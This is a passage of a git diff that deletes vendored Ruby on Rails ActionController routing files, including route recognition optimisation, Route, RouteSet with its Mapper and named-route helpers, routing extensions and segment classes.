-    #  2) segm test for /users/
-    #  3) segm test for /users/:id
-    #     (jump to list index = 5)
-    #  4) full test for /users/:id => here we are!
-    class RouteSet
-      def recognize_path(path, environment={})
-        result = recognize_optimized(path, environment) and return result
-
-        # Route was not recognized. Try to find out why (maybe wrong verb).
-        allows = HTTP_METHODS.select { |verb| routes.find { |r| r.recognize(path, environment.merge(:method => verb)) } }
-
-        if environment[:method] && !HTTP_METHODS.include?(environment[:method])
-          raise NotImplemented.new(*allows)
-        elsif !allows.empty?
-          raise MethodNotAllowed.new(*allows)
-        else
-          raise RoutingError, "No route matches #{path.inspect} with #{environment.inspect}"
-        end
-      end
-
-      def segment_tree(routes)
-        tree = [0]
-
-        i = -1
-        routes.each do |route|
-          i += 1
-          # not fast, but runs only once
-          segments = to_plain_segments(route.segments.inject("") { |str,s| str << s.to_s })
-
-          node  = tree
-          segments.each do |seg|
-            seg = :dynamic if seg && seg[0] == ?:
-            node << [seg, [i]] if node.empty? || node[node.size - 1][0] != seg
-            node = node[node.size - 1][1]
-          end
-        end
-        tree
-      end
-
-      def generate_code(list, padding='  ', level = 0)
-        # a digit
-        return padding + "#{list[0]}\n" if list.size == 1 && !(Array === list[0])
-
-        body = padding + "(seg = segments[#{level}]; \n"
-
-        i = 0
-        was_nil = false
-        list.each do |item|
-          if Array === item
-            i += 1
-            start = (i == 1)
-            tag, sub = item
-            if tag == :dynamic
-              body += padding + "#{start ? 'if' : 'elsif'} true\n"
-              body += generate_code(sub, padding + "  ", level + 1)
-              break
-            elsif tag == nil && !was_nil
-              was_nil = true
-              body += padding + "#{start ? 'if' : 'elsif'} seg.nil?\n"
-              body += generate_code(sub, padding + "  ", level + 1)
-            else
-              body += padding + "#{start ? 'if' : 'elsif'} seg == '#{tag}'\n"
-              body += generate_code(sub, padding + "  ", level + 1)
-            end
-          end
-        end
-        body += padding + "else\n"
-        body += padding + "  #{list[0]}\n"
-        body += padding + "end)\n"
-        body
-      end
-
-      # this must be really fast
-      def to_plain_segments(str)
-        str = str.dup
-        str.sub!(/^\/+/,'')
-        str.sub!(/\/+$/,'')
-        segments = str.split(/\.[^\/]+\/+|\/+|\.[^\/]+\Z/) # cut off ".format" also
-        segments << nil
-        segments
-      end
-
-      private
-        def write_recognize_optimized!
-          tree = segment_tree(routes)
-          body = generate_code(tree)
-
-          remove_recognize_optimized!
-
-          instance_eval %{
-            def recognize_optimized(path, env)
-              segments = to_plain_segments(path)
-              index = #{body}
-              return nil unless index
-              while index < routes.size
-                result = routes[index].recognize(path, env) and return result
-                index += 1
-              end
-              nil
-            end
-          }, '(recognize_optimized)', 1
-        end
-
-        def clear_recognize_optimized!
-          remove_recognize_optimized!
-          write_recognize_optimized!
-        end
-
-        def remove_recognize_optimized!
-          if respond_to?(:recognize_optimized)
-            class << self
-              remove_method :recognize_optimized
-            end
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/route.rb b/vendor/rails/actionpack/lib/action_controller/routing/route.rb
deleted file mode 100644
index 69e8f57e..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing/route.rb
+++ /dev/null
@@ -1,265 +0,0 @@
-module ActionController
-  module Routing
-    class Route #:nodoc:
-      attr_accessor :segments, :requirements, :conditions, :optimise
-
-      def initialize(segments = [], requirements = {}, conditions = {})
-        @segments = segments
-        @requirements = requirements
-        @conditions = conditions
-
-        if !significant_keys.include?(:action) && !requirements[:action]
-          @requirements[:action] = "index"
-          @significant_keys << :action
-        end
-
-        # Routes cannot use the current string interpolation method
-        # if there are user-supplied <tt>:requirements</tt> as the interpolation
-        # code won't raise RoutingErrors when generating
-        has_requirements = @segments.detect { |segment| segment.respond_to?(:regexp) && segment.regexp }
-        if has_requirements || @requirements.keys.to_set != Routing::ALLOWED_REQUIREMENTS_FOR_OPTIMISATION
-          @optimise = false
-        else
-          @optimise = true
-        end
-      end
-
-      # Indicates whether the routes should be optimised with the string interpolation
-      # version of the named routes methods.
-      def optimise?
-        @optimise && ActionController::Base::optimise_named_routes
-      end
-
-      def segment_keys
-        segments.collect do |segment|
-          segment.key if segment.respond_to? :key
-        end.compact
-      end
-      
-      def required_segment_keys
-        required_segments = segments.select {|seg| (!seg.optional? && !seg.is_a?(DividerSegment)) || seg.is_a?(PathSegment) }
-        required_segments.collect { |seg| seg.key if seg.respond_to?(:key)}.compact
-      end
-
-      # Build a query string from the keys of the given hash. If +only_keys+
-      # is given (as an array), only the keys indicated will be used to build
-      # the query string. The query string will correctly build array parameter
-      # values.
-      def build_query_string(hash, only_keys = nil)
-        elements = []
-
-        (only_keys || hash.keys).each do |key|
-          if value = hash[key]
-            elements << value.to_query(key)
-          end
-        end
-
-        elements.empty? ? '' : "?#{elements.sort * '&'}"
-      end
-
-      # A route's parameter shell contains parameter values that are not in the
-      # route's path, but should be placed in the recognized hash.
-      #
-      # For example, +{:controller => 'pages', :action => 'show'} is the shell for the route:
-      #
-      #   map.connect '/page/:id', :controller => 'pages', :action => 'show', :id => /\d+/
-      #
-      def parameter_shell
-        @parameter_shell ||= {}.tap do |shell|
-          requirements.each do |key, requirement|
-            shell[key] = requirement unless requirement.is_a? Regexp
-          end
-        end
-      end
-
-      # Return an array containing all the keys that are used in this route. This
-      # includes keys that appear inside the path, and keys that have requirements
-      # placed upon them.
-      def significant_keys
-        @significant_keys ||= [].tap do |sk|
-          segments.each { |segment| sk << segment.key if segment.respond_to? :key }
-          sk.concat requirements.keys
-          sk.uniq!
-        end
-      end
-
-      # Return a hash of key/value pairs representing the keys in the route that
-      # have defaults, or which are specified by non-regexp requirements.
-      def defaults
-        @defaults ||= {}.tap do |hash|
-          segments.each do |segment|
-            next unless segment.respond_to? :default
-            hash[segment.key] = segment.default unless segment.default.nil?
-          end
-          requirements.each do |key,req|
-            next if Regexp === req || req.nil?
-            hash[key] = req
-          end
-        end
-      end
-
-      def matches_controller_and_action?(controller, action)
-        prepare_matching!
-        (@controller_requirement.nil? || @controller_requirement === controller) &&
-        (@action_requirement.nil? || @action_requirement === action)
-      end
-
-      def to_s
-        @to_s ||= begin
-          segs = segments.inject("") { |str,s| str << s.to_s }
-          "%-6s %-40s %s" % [(conditions[:method] || :any).to_s.upcase, segs, requirements.inspect]
-        end
-      end
-
-      # TODO: Route should be prepared and frozen on initialize
-      def freeze
-        unless frozen?
-          write_generation!
-          write_recognition!
-          prepare_matching!
-
-          parameter_shell
-          significant_keys
-          defaults
-          to_s
-        end
-
-        super
-      end
-
-      def generate(options, hash, expire_on = {})
-        path, hash = generate_raw(options, hash, expire_on)
-        append_query_string(path, hash, extra_keys(options))
-      end
-
-      def generate_extras(options, hash, expire_on = {})
-        path, hash = generate_raw(options, hash, expire_on)
-        [path, extra_keys(options)]
-      end
-
-      private
-        def requirement_for(key)
-          return requirements[key] if requirements.key? key
-          segments.each do |segment|
-            return segment.regexp if segment.respond_to?(:key) && segment.key == key
-          end
-          nil
-        end
-
-        # Write and compile a +generate+ method for this Route.
-        def write_generation!
-          # Build the main body of the generation
-          body = "expired = false\n#{generation_extraction}\n#{generation_structure}"
-
-          # If we have conditions that must be tested first, nest the body inside an if
-          body = "if #{generation_requirements}\n#{body}\nend" if generation_requirements
-          args = "options, hash, expire_on = {}"
-
-          # Nest the body inside of a def block, and then compile it.
-          raw_method = method_decl = "def generate_raw(#{args})\npath = begin\n#{body}\nend\n[path, hash]\nend"
-          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
-
-          # expire_on.keys == recall.keys; in other words, the keys in the expire_on hash
-          # are the same as the keys that were recalled from the previous request. Thus,
-          # we can use the expire_on.keys to determine which keys ought to be used to build
-          # the query string. (Never use keys from the recalled request when building the
-          # query string.)
-
-          raw_method
-        end
-
-        # Build several lines of code that extract values from the options hash. If any
-        # of the values are missing or rejected then a return will be executed.
-        def generation_extraction
-          segments.collect do |segment|
-            segment.extraction_code
-          end.compact * "\n"
-        end
-
-        # Produce a condition expression that will check the requirements of this route
-        # upon generation.
-        def generation_requirements
-          requirement_conditions = requirements.collect do |key, req|
-            if req.is_a? Regexp
-              value_regexp = Regexp.new "\\A#{req.to_s}\\Z"
-              "hash[:#{key}] && #{value_regexp.inspect} =~ options[:#{key}]"
-            else
-              "hash[:#{key}] == #{req.inspect}"
-            end
-          end
-          requirement_conditions * ' && ' unless requirement_conditions.empty?
-        end
-
-        def generation_structure
-          segments.last.string_structure segments[0..-2]
-        end
-
-        # Write and compile a +recognize+ method for this Route.
-        def write_recognition!
-          # Create an if structure to extract the params from a match if it occurs.
-          body = "params = parameter_shell.dup\n#{recognition_extraction * "\n"}\nparams"
-          body = "if #{recognition_conditions.join(" && ")}\n#{body}\nend"
-
-          # Build the method declaration and compile it
-          method_decl = "def recognize(path, env = {})\n#{body}\nend"
-          instance_eval method_decl, "generated code (#{__FILE__}:#{__LINE__})"
-          method_decl
-        end
-
-        # Plugins may override this method to add other conditions, like checks on
-        # host, subdomain, and so forth. Note that changes here only affect route
-        # recognition, not generation.
-        def recognition_conditions
-          result = ["(match = #{Regexp.new(recognition_pattern).inspect}.match(path))"]
-          result << "[conditions[:method]].flatten.include?(env[:method])" if conditions[:method]
-          result
-        end
-
-        # Build the regular expression pattern that will match this route.
-        def recognition_pattern(wrap = true)
-          pattern = ''
-          segments.reverse_each do |segment|
-            pattern = segment.build_pattern pattern
-          end
-          wrap ? ("\\A" + pattern + "\\Z") : pattern
-        end
-
-        # Write the code to extract the parameters from a matched route.
-        def recognition_extraction
-          next_capture = 1
-          extraction = segments.collect do |segment|
-            x = segment.match_extraction(next_capture)
-            next_capture += segment.number_of_captures
-            x
-          end
-          extraction.compact
-        end
-
-        # Generate the query string with any extra keys in the hash and append
-        # it to the given path, returning the new path.
-        def append_query_string(path, hash, query_keys = nil)
-          return nil unless path
-          query_keys ||= extra_keys(hash)
-          "#{path}#{build_query_string(hash, query_keys)}"
-        end
-
-        # Determine which keys in the given hash are "extra". Extra keys are
-        # those that were not used to generate a particular route. The extra
-        # keys also do not include those recalled from the prior request, nor
-        # do they include any keys that were implied in the route (like a
-        # <tt>:controller</tt> that is required, but not explicitly used in the
-        # text of the route.)
-        def extra_keys(hash, recall = {})
-          (hash || {}).keys.map { |k| k.to_sym } - (recall || {}).keys - significant_keys
-        end
-
-        def prepare_matching!
-          unless defined? @matching_prepared
-            @controller_requirement = requirement_for(:controller)
-            @action_requirement = requirement_for(:action)
-            @matching_prepared = true
-          end
-        end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb b/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb
deleted file mode 100644
index 2fbf3e9e..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing/route_set.rb
+++ /dev/null
@@ -1,503 +0,0 @@
-module ActionController
-  module Routing
-    class RouteSet #:nodoc:
-      # Mapper instances are used to build routes. The object passed to the draw
-      # block in config/routes.rb is a Mapper instance.
-      #
-      # Mapper instances have relatively few instance methods, in order to avoid
-      # clashes with named routes.
-      class Mapper #:doc:
-        include ActionController::Resources
-
-        def initialize(set) #:nodoc:
-          @set = set
-        end
-
-        # Create an unnamed route with the provided +path+ and +options+. See
-        # ActionController::Routing for an introduction to routes.
-        def connect(path, options = {})
-          @set.add_route(path, options)
-        end
-
-        # Creates a named route called "root" for matching the root level request.
-        def root(options = {})
-          if options.is_a?(Symbol)
-            if source_route = @set.named_routes.routes[options]
-              options = source_route.defaults.merge({ :conditions => source_route.conditions })
-            end
-          end
-          named_route("root", '', options)
-        end
-
-        def named_route(name, path, options = {}) #:nodoc:
-          @set.add_named_route(name, path, options)
-        end
-
-        # Enables the use of resources in a module by setting the name_prefix, path_prefix, and namespace for the model.
-        # Example:
-        #
-        #   map.namespace(:admin) do |admin|
-        #     admin.resources :products,
-        #       :has_many => [ :tags, :images, :variants ]
-        #   end
-        #
-        # This will create +admin_products_url+ pointing to "admin/products", which will look for an Admin::ProductsController.
-        # It'll also create +admin_product_tags_url+ pointing to "admin/products/#{product_id}/tags", which will look for
-        # Admin::TagsController.
-        def namespace(name, options = {}, &block)
-          if options[:namespace]
-            with_options({:path_prefix => "#{options.delete(:path_prefix)}/#{name}", :name_prefix => "#{options.delete(:name_prefix)}#{name}_", :namespace => "#{options.delete(:namespace)}#{name}/" }.merge(options), &block)
-          else
-            with_options({:path_prefix => name, :name_prefix => "#{name}_", :namespace => "#{name}/" }.merge(options), &block)
-          end
-        end
-
-        def method_missing(route_name, *args, &proc) #:nodoc:
-          super unless args.length >= 1 && proc.nil?
-          @set.add_named_route(route_name, *args)
-        end
-      end
-
-      # A NamedRouteCollection instance is a collection of named routes, and also
-      # maintains an anonymous module that can be used to install helpers for the
-      # named routes.
-      class NamedRouteCollection #:nodoc:
-        include Enumerable
-        include ActionController::Routing::Optimisation
-        attr_reader :routes, :helpers
-
-        def initialize
-          clear!
-        end
-
-        def clear!
-          @routes = {}
-          @helpers = []
-
-          @module ||= Module.new
-          @module.instance_methods.each do |selector|
-            @module.class_eval { remove_method selector }
-          end
-        end
-
-        def add(name, route)
-          routes[name.to_sym] = route
-          define_named_route_methods(name, route)
-        end
-
-        def get(name)
-          routes[name.to_sym]
-        end
-
-        alias []=   add
-        alias []    get
-        alias clear clear!
-
-        def each
-          routes.each { |name, route| yield name, route }
-          self
-        end
-
-        def names
-          routes.keys
-        end
-
-        def length
-          routes.length
-        end
-
-        def reset!
-          old_routes = routes.dup
-          clear!
-          old_routes.each do |name, route|
-            add(name, route)
-          end
-        end
-
-        def install(destinations = [ActionController::Base, ActionView::Base], regenerate = false)
-          reset! if regenerate
-          Array(destinations).each do |dest|
-            dest.__send__(:include, @module)
-          end
-        end
-
-        private
-          def url_helper_name(name, kind = :url)
-            :"#{name}_#{kind}"
-          end
-
-          def hash_access_name(name, kind = :url)
-            :"hash_for_#{name}_#{kind}"
-          end
-
-          def define_named_route_methods(name, route)
-            {:url => {:only_path => false}, :path => {:only_path => true}}.each do |kind, opts|
-              hash = route.defaults.merge(:use_route => name).merge(opts)
-              define_hash_access route, name, kind, hash
-              define_url_helper route, name, kind, hash
-            end
-          end
-
-          def named_helper_module_eval(code, *args)
-            @module.module_eval(code, *args)
-          end
-
-          def define_hash_access(route, name, kind, options)
-            selector = hash_access_name(name, kind)
-            named_helper_module_eval <<-end_eval # We use module_eval to avoid leaks
-              def #{selector}(options = nil)                                      # def hash_for_users_url(options = nil)
-                options ? #{options.inspect}.merge(options) : #{options.inspect}  #   options ? {:only_path=>false}.merge(options) : {:only_path=>false}
-              end                                                                 # end
-              protected :#{selector}                                              # protected :hash_for_users_url
-            end_eval
-            helpers << selector
-          end
-
-          def define_url_helper(route, name, kind, options)
-            selector = url_helper_name(name, kind)
-            # The segment keys used for positional paramters
-
-            hash_access_method = hash_access_name(name, kind)
-
-            # allow ordered parameters to be associated with corresponding
-            # dynamic segments, so you can do
-            #
-            #   foo_url(bar, baz, bang)
-            #
-            # instead of
-            #
-            #   foo_url(:bar => bar, :baz => baz, :bang => bang)
-            #
-            # Also allow options hash, so you can do
-            #
-            #   foo_url(bar, baz, bang, :sort_by => 'baz')
-            #
-            named_helper_module_eval <<-end_eval # We use module_eval to avoid leaks
-              def #{selector}(*args)                                                        # def users_url(*args)
-                args.compact!                                                               #
-                                                                                            #
-                #{generate_optimisation_block(route, kind)}                                 #   #{generate_optimisation_block(route, kind)}
-                                                                                            #
-                opts = if args.empty? || Hash === args.first                                #   opts = if args.empty? || Hash === args.first
-                  args.first || {}                                                          #     args.first || {}
-                else                                                                        #   else
-                  options = args.extract_options!                                           #     options = args.extract_options!
-                  args = args.zip(#{route.segment_keys.inspect}).inject({}) do |h, (v, k)|  #     args = args.zip([]).inject({}) do |h, (v, k)|
-                    h[k] = v                                                                #       h[k] = v
-                    h                                                                       #       h
-                  end                                                                       #     end
-                  options.merge(args)                                                       #     options.merge(args)
-                end                                                                         #   end
-                                                                                            #
-                url_for(#{hash_access_method}(opts))                                        #   url_for(hash_for_users_url(opts))
-                                                                                            #
-              end                                                                           # end
-              #Add an alias to support the now deprecated formatted_* URL.                  # #Add an alias to support the now deprecated formatted_* URL.
-              def formatted_#{selector}(*args)                                              # def formatted_users_url(*args)
-                ActiveSupport::Deprecation.warn(                                            #   ActiveSupport::Deprecation.warn(
-                  "formatted_#{selector}() has been deprecated. " +                         #     "formatted_users_url() has been deprecated. " +
-                  "Please pass format to the standard " +                                   #     "Please pass format to the standard " +
-                  "#{selector} method instead.", caller)                                    #     "users_url method instead.", caller)
-                #{selector}(*args)                                                          #   users_url(*args)
-              end                                                                           # end
-              protected :#{selector}                                                        # protected :users_url
-            end_eval
-            helpers << selector
-          end
-      end
-
-      attr_accessor :routes, :named_routes, :configuration_files
-
-      def initialize
-        self.configuration_files = []
-
-        self.routes = []
-        self.named_routes = NamedRouteCollection.new
-
-        clear_recognize_optimized!
-      end
-
-      # Subclasses and plugins may override this method to specify a different
-      # RouteBuilder instance, so that other route DSL's can be created.
-      def builder
-        @builder ||= RouteBuilder.new
-      end
-
-      def draw
-        yield Mapper.new(self)
-        install_helpers
-      end
-
-      def clear!
-        routes.clear
-        named_routes.clear
-        @combined_regexp = nil
-        @routes_by_controller = nil
-        # This will force routing/recognition_optimization.rb
-        # to refresh optimisations.
-        clear_recognize_optimized!
-      end
-
-      def install_helpers(destinations = [ActionController::Base, ActionView::Base], regenerate_code = false)
-        Array(destinations).each { |d| d.module_eval { include Helpers } }
-        named_routes.install(destinations, regenerate_code)
-      end
-
-      def empty?
-        routes.empty?
-      end
-
-      def add_configuration_file(path)
-        self.configuration_files << path
-      end
-
-      # Deprecated accessor
-      def configuration_file=(path)
-        add_configuration_file(path)
-      end
-      
-      # Deprecated accessor
-      def configuration_file
-        configuration_files
-      end
-
-      def load!
-        Routing.use_controllers!(nil) # Clear the controller cache so we may discover new ones
-        clear!
-        load_routes!
-      end
-
-      # reload! will always force a reload whereas load checks the timestamp first
-      alias reload! load!
-
-      def reload
-        if configuration_files.any? && @routes_last_modified
-          if routes_changed_at == @routes_last_modified
-            return # routes didn't change, don't reload
-          else
-            @routes_last_modified = routes_changed_at
-          end
-        end
-
-        load!
-      end
-
-      def load_routes!
-        if configuration_files.any?
-          configuration_files.each { |config| load(config) }
-          @routes_last_modified = routes_changed_at
-        else
-          add_route ":controller/:action/:id"
-        end
-      end
-      
-      def routes_changed_at
-        routes_changed_at = nil
-        
-        configuration_files.each do |config|
-          config_changed_at = File.stat(config).mtime
-
-          if routes_changed_at.nil? || config_changed_at > routes_changed_at
-            routes_changed_at = config_changed_at 
-          end
-        end
-        
-        routes_changed_at
-      end
-
-      def add_route(path, options = {})
-        options.each { |k, v| options[k] = v.to_s if [:controller, :action].include?(k) && v.is_a?(Symbol) }
-        route = builder.build(path, options)
-        routes << route
-        route
-      end
-
-      def add_named_route(name, path, options = {})
-        # TODO - is options EVER used?
-        name = options[:name_prefix] + name.to_s if options[:name_prefix]
-        named_routes[name.to_sym] = add_route(path, options)
-      end
-
-      def options_as_params(options)
-        # If an explicit :controller was given, always make :action explicit
-        # too, so that action expiry works as expected for things like
-        #
-        #   generate({:controller => 'content'}, {:controller => 'content', :action => 'show'})
-        #
-        # (the above is from the unit tests). In the above case, because the
-        # controller was explicitly given, but no action, the action is implied to
-        # be "index", not the recalled action of "show".
-        #
-        # great fun, eh?
-
-        options_as_params = options.clone
-        options_as_params[:action] ||= 'index' if options[:controller]
-        options_as_params[:action] = options_as_params[:action].to_s if options_as_params[:action]
-        options_as_params
-      end
-
-      def build_expiry(options, recall)
-        recall.inject({}) do |expiry, (key, recalled_value)|
-          expiry[key] = (options.key?(key) && options[key].to_param != recalled_value.to_param)
-          expiry
-        end
-      end
-
-      # Generate the path indicated by the arguments, and return an array of
-      # the keys that were not used to generate it.
-      def extra_keys(options, recall={})
-        generate_extras(options, recall).last
-      end
-
-      def generate_extras(options, recall={})
-        generate(options, recall, :generate_extras)
-      end
-
-      def generate(options, recall = {}, method=:generate)
-        named_route_name = options.delete(:use_route)
-        generate_all = options.delete(:generate_all)
-        if named_route_name
-          named_route = named_routes[named_route_name]
-          options = named_route.parameter_shell.merge(options)
-        end
-
-        options = options_as_params(options)
-        expire_on = build_expiry(options, recall)
-
-        if options[:controller]
-          options[:controller] = options[:controller].to_s
-        end
-        # if the controller has changed, make sure it changes relative to the
-        # current controller module, if any. In other words, if we're currently
-        # on admin/get, and the new controller is 'set', the new controller
-        # should really be admin/set.
-        if !named_route && expire_on[:controller] && options[:controller] && options[:controller][0] != ?/
-          old_parts = recall[:controller].split('/')
-          new_parts = options[:controller].split('/')
-          parts = old_parts[0..-(new_parts.length + 1)] + new_parts
-          options[:controller] = parts.join('/')
-        end
-
-        # drop the leading '/' on the controller name
-        options[:controller] = options[:controller][1..-1] if options[:controller] && options[:controller][0] == ?/
-        merged = recall.merge(options)
-
-        if named_route
-          path = named_route.generate(options, merged, expire_on)
-          if path.nil?
-            raise_named_route_error(options, named_route, named_route_name)
-          else
-            return path
-          end
-        else
-          merged[:action] ||= 'index'
-          options[:action] ||= 'index'
-
-          controller = merged[:controller]
-          action = merged[:action]
-
-          raise RoutingError, "Need controller and action!" unless controller && action
-
-          if generate_all
-            # Used by caching to expire all paths for a resource
-            return routes.collect do |route|
-              route.__send__(method, options, merged, expire_on)
-            end.compact
-          end
-
-          # don't use the recalled keys when determining which routes to check
-          future_routes, deprecated_routes = routes_by_controller[controller][action][options.reject {|k,v| !v}.keys.sort_by { |x| x.object_id }]
-          routes = Routing.generate_best_match ? deprecated_routes : future_routes
-
-          routes.each_with_index do |route, index|
-            results = route.__send__(method, options, merged, expire_on)
-            if results && (!results.is_a?(Array) || results.first)
-              return results
-            end
-          end
-        end
-
-        raise RoutingError, "No route matches #{options.inspect}"
-      end
-
-      # try to give a helpful error message when named route generation fails
-      def raise_named_route_error(options, named_route, named_route_name)
-        diff = named_route.requirements.diff(options)
-        unless diff.empty?
-          raise RoutingError, "#{named_route_name}_url failed to generate from #{options.inspect}, expected: #{named_route.requirements.inspect}, diff: #{named_route.requirements.diff(options).inspect}"
-        else
-          required_segments = named_route.segments.select {|seg| (!seg.optional?) && (!seg.is_a?(DividerSegment)) }
-          required_keys_or_values = required_segments.map { |seg| seg.key rescue seg.value } # we want either the key or the value from the segment
-          raise RoutingError, "#{named_route_name}_url failed to generate from #{options.inspect} - you may have ambiguous routes, or you may need to supply additional parameters for this route.  content_url has the following required parameters: #{required_keys_or_values.inspect} - are they all satisfied?"
-        end
-      end
-
-      def call(env)
-        request = Request.new(env)
-        app = Routing::Routes.recognize(request)
-        app.call(env).to_a
-      end
-
-      def recognize(request)
-        params = recognize_path(request.path, extract_request_environment(request))
-        request.path_parameters = params.with_indifferent_access
-        "#{params[:controller].to_s.camelize}Controller".constantize
-      end
-
-      def recognize_path(path, environment={})
-        raise "Not optimized! Check that routing/recognition_optimisation overrides RouteSet#recognize_path."
-      end
-
-      def routes_by_controller
-        @routes_by_controller ||= Hash.new do |controller_hash, controller|
-          controller_hash[controller] = Hash.new do |action_hash, action|
-            action_hash[action] = Hash.new do |key_hash, keys|
-              key_hash[keys] = [
-                routes_for_controller_and_action_and_keys(controller, action, keys),
-                deprecated_routes_for_controller_and_action_and_keys(controller, action, keys)
-              ]
-            end
-          end
-        end
-      end
-
-      def routes_for(options, merged, expire_on)
-        raise "Need controller and action!" unless controller && action
-        controller = merged[:controller]
-        merged = options if expire_on[:controller]
-        action = merged[:action] || 'index'
-
-        routes_by_controller[controller][action][merged.keys][1]
-      end
-
-      def routes_for_controller_and_action(controller, action)
-        ActiveSupport::Deprecation.warn "routes_for_controller_and_action() has been deprecated. Please use routes_for()"
-        selected = routes.select do |route|
-          route.matches_controller_and_action? controller, action
-        end
-        (selected.length == routes.length) ? routes : selected
-      end
-
-      def routes_for_controller_and_action_and_keys(controller, action, keys)
-        routes.select do |route|
-          route.matches_controller_and_action? controller, action
-        end
-      end
-
-      def deprecated_routes_for_controller_and_action_and_keys(controller, action, keys)
-        selected = routes.select do |route|
-          route.matches_controller_and_action? controller, action
-        end
-        selected.sort_by do |route|
-          (keys - route.significant_keys).length
-        end
-      end
-
-      # Subclasses and plugins may override this method to extract further attributes
-      # from the request, for use by route conditions and such.
-      def extract_request_environment(request)
-        { :method => request.method }
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/routing_ext.rb b/vendor/rails/actionpack/lib/action_controller/routing/routing_ext.rb
deleted file mode 100644
index 4a82b2af..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing/routing_ext.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-class Object
-  def to_param
-    to_s
-  end
-end
-
-class TrueClass
-  def to_param
-    self
-  end
-end
-
-class FalseClass
-  def to_param
-    self
-  end
-end
-
-class NilClass
-  def to_param
-    self
-  end
-end
-
-class Regexp #:nodoc:
-  def number_of_captures
-    Regexp.new("|#{source}").match('').captures.length
-  end
-
-  def multiline?
-    options & MULTILINE == MULTILINE
-  end
-
-  class << self
-    def optionalize(pattern)
-      case unoptionalize(pattern)
-        when /\A(.|\(.*\))\Z/ then "#{pattern}?"
-        else "(?:#{pattern})?"
-      end
-    end
-
-    def unoptionalize(pattern)
-      [/\A\(\?:(.*)\)\?\Z/, /\A(.|\(.*\))\?\Z/].each do |regexp|
-        return $1 if regexp =~ pattern
-      end
-      return pattern
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/routing/segments.rb b/vendor/rails/actionpack/lib/action_controller/routing/segments.rb
deleted file mode 100644
index 199eddbe..00000000
--- a/vendor/rails/actionpack/lib/action_controller/routing/segments.rb
+++ /dev/null
@@ -1,342 +0,0 @@
-module ActionController
-  module Routing
-    class Segment #:nodoc:
-      RESERVED_PCHAR = ':@&=+$,;'
-      SAFE_PCHAR = "#{URI::REGEXP::PATTERN::UNRESERVED}#{RESERVED_PCHAR}"
-      if RUBY_VERSION >= '1.9'
-        UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false).freeze
-      else
-        UNSAFE_PCHAR = Regexp.new("[^#{SAFE_PCHAR}]", false, 'N').freeze
-      end
-
-      # TODO: Convert :is_optional accessor to read only
-      attr_accessor :is_optional
-      alias_method :optional?, :is_optional
-
-      def initialize
-        @is_optional = false
-      end
-
-      def number_of_captures
-        Regexp.new(regexp_chunk).number_of_captures
-      end
-
-      def extraction_code
-        nil
-      end
-
-      # Continue generating string for the prior segments.
-      def continue_string_structure(prior_segments)
-        if prior_segments.empty?
-          interpolation_statement(prior_segments)
-        else
-          new_priors = prior_segments[0..-2]
-          prior_segments.last.string_structure(new_priors)
-        end
-      end
-
-      def interpolation_chunk
-        CGI.escape(value)
-      end
-
-      # Return a string interpolation statement for this segment and those before it.
-      def interpolation_statement(prior_segments)
-        chunks = prior_segments.collect { |s| s.interpolation_chunk }
-        chunks << interpolation_chunk
-        "\"#{chunks * ''}\"#{all_optionals_available_condition(prior_segments)}"
-      end
-
-      def string_structure(prior_segments)
-        optional? ? continue_string_structure(prior_segments) : interpolation_statement(prior_segments)
-      end
-
-      # Return an if condition that is true if all the prior segments can be generated.
-      # If there are no optional segments before this one, then nil is returned.
-      def all_optionals_available_condition(prior_segments)
-        optional_locals = prior_segments.collect { |s| s.local_name if s.optional? && s.respond_to?(:local_name) }.compact
-        optional_locals.empty? ? nil : " if #{optional_locals * ' && '}"
-      end
-
-      # Recognition
-
-      def match_extraction(next_capture)
-        nil
-      end
-
-      # Warning
-
-      # Returns true if this segment is optional? because of a default. If so, then
-      # no warning will be emitted regarding this segment.
-      def optionality_implied?
-        false
-      end
-    end
-
-    class StaticSegment < Segment #:nodoc:
-      attr_reader :value, :raw
-      alias_method :raw?, :raw
-
-      def initialize(value = nil, options = {})
-        super()
-        @value = value
-        @raw = options[:raw] if options.key?(:raw)
-        @is_optional = options[:optional] if options.key?(:optional)
-      end
-
-      def interpolation_chunk
-        raw? ? value : super
-      end
-
-      def regexp_chunk
-        chunk = Regexp.escape(value)
-        optional? ? Regexp.optionalize(chunk) : chunk
-      end
-
-      def number_of_captures
-        0
-      end
-
-      def build_pattern(pattern)
-        escaped = Regexp.escape(value)
-        if optional? && ! pattern.empty?
-          "(?:#{Regexp.optionalize escaped}\\Z|#{escaped}#{Regexp.unoptionalize pattern})"
-        elsif optional?
-          Regexp.optionalize escaped
-        else
-          escaped + pattern
-        end
-      end
-
-      def to_s
-        value
-      end
-    end
-
-    class DividerSegment < StaticSegment #:nodoc:
-      def initialize(value = nil, options = {})
-        super(value, {:raw => true, :optional => true}.merge(options))
-      end
-
-      def optionality_implied?
-        true
-      end
-    end
-
-    class DynamicSegment < Segment #:nodoc:
-      attr_reader :key
-
-      # TODO: Convert these accessors to read only
-      attr_accessor :default, :regexp
-
-      def initialize(key = nil, options = {})
-        super()
-        @key = key
-        @default = options[:default] if options.key?(:default)
-        @regexp = options[:regexp] if options.key?(:regexp)
-        @is_optional = true if options[:optional] || options.key?(:default)
-      end
-
-      def to_s
-        ":#{key}"
-      end
-
-      # The local variable name that the value of this segment will be extracted to.
-      def local_name
-        "#{key}_value"
-      end
-
-      def extract_value
-        "#{local_name} = hash[:#{key}] && hash[:#{key}].to_param #{"|| #{default.inspect}" if default}"
-      end
-
-      def value_check
-        if default # Then we know it won't be nil
-          "#{value_regexp.inspect} =~ #{local_name}" if regexp
-        elsif optional?
-          # If we have a regexp check that the value is not given, or that it matches.
-          # If we have no regexp, return nil since we do not require a condition.
-          "#{local_name}.nil? || #{value_regexp.inspect} =~ #{local_name}" if regexp
-        else # Then it must be present, and if we have a regexp, it must match too.
-          "#{local_name} #{"&& #{value_regexp.inspect} =~ #{local_name}" if regexp}"
-        end
-      end
-
-      def expiry_statement
